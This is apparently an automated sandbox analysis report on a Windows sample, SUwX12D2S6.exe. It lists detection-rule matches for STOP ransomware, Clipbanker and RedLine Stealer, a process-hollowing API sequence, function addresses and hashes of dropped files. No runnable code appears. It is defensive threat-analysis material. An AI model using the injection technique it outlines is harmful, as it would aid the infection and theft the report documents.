Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000017.00000002.2105054288.00000000044CA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.1787558327.0000000001ACE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2350442166.0000000000990000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.1914065003.000000000098D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001E.00000002.3584399204.00000000009E0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7260, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7276, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7396, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7460, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7488, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7264, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: SUwX12D2S6.exe PID: 7252, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E10110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05E10110
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		3_2_05DE0110

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_00404F7E	0_2_00404F7E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E13520	0_2_05E13520
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E17520	0_2_05E17520
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E3D7F1	0_2_05E3D7F1
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1A79A	0_2_05E1A79A
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1C760	0_2_05E1C760
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1E6E0	0_2_05E1E6E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1A699	0_2_05E1A699
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E5B69F	0_2_05E5B69F
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E3D1A4	0_2_05E3D1A4
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E5E141	0_2_05E5E141
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E19120	0_2_05E19120
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E170E0	0_2_05E170E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E130F0	0_2_05E130F0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E200D0	0_2_05E200D0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1B0B0	0_2_05E1B0B0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1A026	0_2_05E1A026
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E2F030	0_2_05E2F030
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1B000	0_2_05E1B000
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E17393	0_2_05E17393
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E5E37C	0_2_05E5E37C
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E922C0	0_2_05E922C0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E17220	0_2_05E17220
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E15DE7	0_2_05E15DE7
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E15DF7	0_2_05E15DF7
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E52D1E	0_2_05E52D1E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E44E9F	0_2_05E44E9F
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E18E60	0_2_05E18E60
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E159F7	0_2_05E159F7
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E189D0	0_2_05E189D0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E3E9A3	0_2_05E3E9A3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E3F9B0	0_2_05E3F9B0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1A916	0_2_05E1A916
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E318D0	0_2_05E318D0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E17880	0_2_05E17880
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1DBE0	0_2_05E1DBE0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E12B60	0_2_05E12B60
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E20B00	0_2_05E20B00
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E17A80	0_2_05E17A80
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E1CA10	0_2_05E1CA10
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0043E5A3	1_2_0043E5A3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE3520	3_2_05DE3520
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE7520	3_2_05DE7520
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E0D7F1	3_2_05E0D7F1
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEA79A	3_2_05DEA79A
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEC760	3_2_05DEC760
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEE6E0	3_2_05DEE6E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEA699	3_2_05DEA699
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E2B69F	3_2_05E2B69F
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E0D1A4	3_2_05E0D1A4
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E2E141	3_2_05E2E141
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE9120	3_2_05DE9120
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DF00D0	3_2_05DF00D0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE30F0	3_2_05DE30F0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE70E0	3_2_05DE70E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEB0B0	3_2_05DEB0B0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEB000	3_2_05DEB000
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DFF030	3_2_05DFF030
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEA026	3_2_05DEA026
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE7393	3_2_05DE7393
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E2E37C	3_2_05E2E37C
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E622C0	3_2_05E622C0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE7220	3_2_05DE7220
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE5DF7	3_2_05DE5DF7
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE5DE7	3_2_05DE5DE7
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E22D1E	3_2_05E22D1E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E14E9F	3_2_05E14E9F
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE8E60	3_2_05DE8E60
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE89D0	3_2_05DE89D0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE59F7	3_2_05DE59F7
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E0E9A3	3_2_05E0E9A3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E0F9B0	3_2_05E0F9B0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEA916	3_2_05DEA916
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E018D0	3_2_05E018D0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE7880	3_2_05DE7880
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DEDBE0	3_2_05DEDBE0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE2B60	3_2_05DE2B60
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DF0B00	3_2_05DF0B00
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DE7A80	3_2_05DE7A80
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05DECA10	3_2_05DECA10
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0043E5A3	4_2_0043E5A3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CE58	4_2_0050CE58
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CF90	4_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 05E10160 appears 49 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 05E08EC0 appears 57 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 05E40160 appears 49 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 05E38EC0 appears 57 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: String function: 0044F26C appears 41 times

Source: SUwX12D2S6.exe, 00000000.00000000.1671315528.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000001.00000000.1674251853.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000001.00000002.1695921959.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000003.00000000.1693857852.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000004.00000000.1698233278.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000005.00000000.1711540344.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000006.00000000.1716117013.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 0000000B.00000002.1847770373.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 0000000C.00000000.1843095551.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe, 00000017.00000002.2104663369.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
